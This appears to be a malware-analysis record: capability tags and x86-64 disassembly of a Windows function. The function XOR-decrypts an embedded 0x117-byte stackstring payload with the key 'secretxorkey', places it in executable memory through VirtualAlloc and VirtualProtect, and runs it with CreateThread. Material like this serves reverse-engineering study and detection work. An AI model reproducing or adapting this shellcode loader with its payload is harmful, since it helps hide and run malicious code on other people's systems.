Function at 0x140001070
Capabilities:
Contain obfuscated stackstrings
Create thread
Encode data using xor

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x60]
sub rsp, 0x160
mov eax, dword [0x140021008]
xor ecx, ecx
movsd xmm0, qword [str.secretxorkey]
mov edx, 0x117
mov dword [rbp + 0x58], eax
movzx eax, byte [0x14002100c]
lea r9d, [rcx + 4]
mov dword [rbp + 0x70], 0
mov dword [rsp + 0x30], 0x96e02d8f
mov dword [rsp + 0x34], 0x6fb89c95
mov dword [rsp + 0x38], 0x28246b72
mov dword [rsp + 0x3c], 0x23313532
mov dword [rsp + 0x40], 0xbd493c33
mov dword [rsp + 0x44], 0x2bee2317
mov dword [rsp + 0x48], 0x20e82d13
mov dword [rsp + 0x4c], 0x3df33c7d
mov dword [rsp + 0x50], 0xbee2352
mov dword [rsp + 0x54], 0xc56c2d23
mov dword [rsp + 0x58], 0x5e353e2f
mov dword [rsp + 0x5c], 0xb95423bb
mov dword [rsp + 0x60], 0xe0259df
mov dword [rsp + 0x64], 0x2e585867
mov dword [rsp + 0x68], 0x3868a2b3
mov dword [rsp + 0x6c], 0x9f81a472
mov dword [rsp + 0x70], 0x27293537
mov dword [rsp + 0x74], 0xf24539f9
mov dword [rsp + 0x78], 0x732b5931
mov dword [rsp + 0x7c], 0xe7f8ffb5
mov dword [rbp - 0x80], 0x31656b72
mov dword [rbp - 0x7c], 0x1517a5f6
mov dword [rbp - 0x78], 0x3fa8752d
mov dword [rbp - 0x74], 0x3d7d23f9
mov dword [rbp - 0x70], 0x3b4325f8
mov dword [rbp - 0x6c], 0x399ba464
mov dword [rbp - 0x68], 0x38ac943a
mov dword [rbp - 0x64], 0x3aeb51f8
mov dword [rbp - 0x60], 0x5e35a264
mov dword [rbp - 0x5c], 0xb95423bb
mov dword [rbp - 0x58], 0xbba224df
mov dword [rbp - 0x54], 0xae793568
mov dword [rbp - 0x50], 0x88108b4a
mov dword [rbp - 0x4c], 0x562f663f
mov dword [rbp - 0x48], 0xbe41316d
mov dword [rbp - 0x44], 0x3d3db307
mov dword [rbp - 0x40], 0x3b4725f8
mov dword [rbp - 0x3c], 0x2e1ea464
mov dword [rbp - 0x38], 0x3d2d67f9
mov dword [rbp - 0x34], 0x3b7f25f8
mov dword [rbp - 0x30], 0xe439a464
mov dword [rbp - 0x2c], 0x782de376
mov dword [rbp - 0x28], 0x333b24a3
mov dword [rbp - 0x24], 0x35212a3d
mov dword [rbp - 0x20], 0x20243333
mov dword [rbp - 0x1c], 0xf12b3f32
mov dword [rbp - 0x18], 0x3d395489
mov dword [rbp - 0x14], 0x383d8b8d
mov dword [rbp - 0x10], 0xf92b3f2a
mov dword [rbp - 0xc], 0x902f9d77
mov dword [rbp - 8], 0x3138948d
mov dword [rbp - 4], 0x726364c9
mov dword [rbp], 0x6f787465
mov dword [rbp + 4], 0xf4e82372
mov dword [rbp + 8], 0x72636472
mov dword [rbp + 0xc], 0xe449ce24
mov dword [rbp + 0x10], 0xac9aec1d
mov dword [rbp + 0x14], 0x587e85c8
mov dword [rbp + 0x18], 0xc9c2356f
mov dword [rbp + 0x1c], 0x86f8d6e7
mov dword [rbp + 0x20], 0xb6e02da6
mov dword [rbp + 0x24], 0x137e484d
mov dword [rbp + 0x28], 0x999eeb78
mov dword [rbp + 0x2c], 0x35d86006
mov dword [rbp + 0x30], 0x5170676
mov dword [rbp + 0x34], 0xf0243272
mov dword [rbp + 0x38], 0x1cb69aa9
mov dword [rbp + 0x3c], 0x1f1d000a
mov dword [rbp + 0x40], 0x1c4b0f13
mov word [rbp + 0x44], 0xb
mov byte [rbp + 0x46], 0x63
movsd qword [rbp + 0x50], xmm0
mov byte [rbp + 0x5c], al
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
lea r8, [rsp + 0x30]
mov rdi, rax
lea rdx, str.payload_addr
lea rcx, [0x140021020]
call fcn.1400013f0
mov r8, rdi
lea rdx, str.alloc_mem_addr
lea rcx, str.__20s_:_0x__016p_n
call fcn.1400013f0
lea rcx, str._n_1__Press_Enter_to_Decrypt_XOR_Payload_n
call fcn.1400013f0
call fcn.140003104
xor r8d, r8d
lea r9, [rsp + 0x30]
xor r10d, r10d
xor edx, edx
nop word [rax + rax]
xor ecx, ecx
lea r9, [r9 + 1]
cmp rdx, 0xc
cmovne rcx, rdx
movzx eax, byte [rbp + rcx + 0x50]
xor byte [r9 - 1], al
xor eax, eax
cmp rdx, 0xc
lea rdx, [rcx + 1]
cmovne eax, r8d
inc r10d
lea r8d, [rax + 1]
cmp r10d, 0x117
jb 0x140001320
mov r8d, 0x117
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.140001f00
lea r9, [rbp + 0x70]
mov edx, 0x117
mov r8d, 0x20
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
lea rcx, str._n_2__Press_Enter_to_Create_Thread_n
mov ebx, eax
call fcn.1400013f0
call fcn.140003104
test ebx, ebx
je 0x1400013c4
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rdi
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rcx, rax
or edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
lea r11, [rsp + 0x160]
xor eax, eax
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret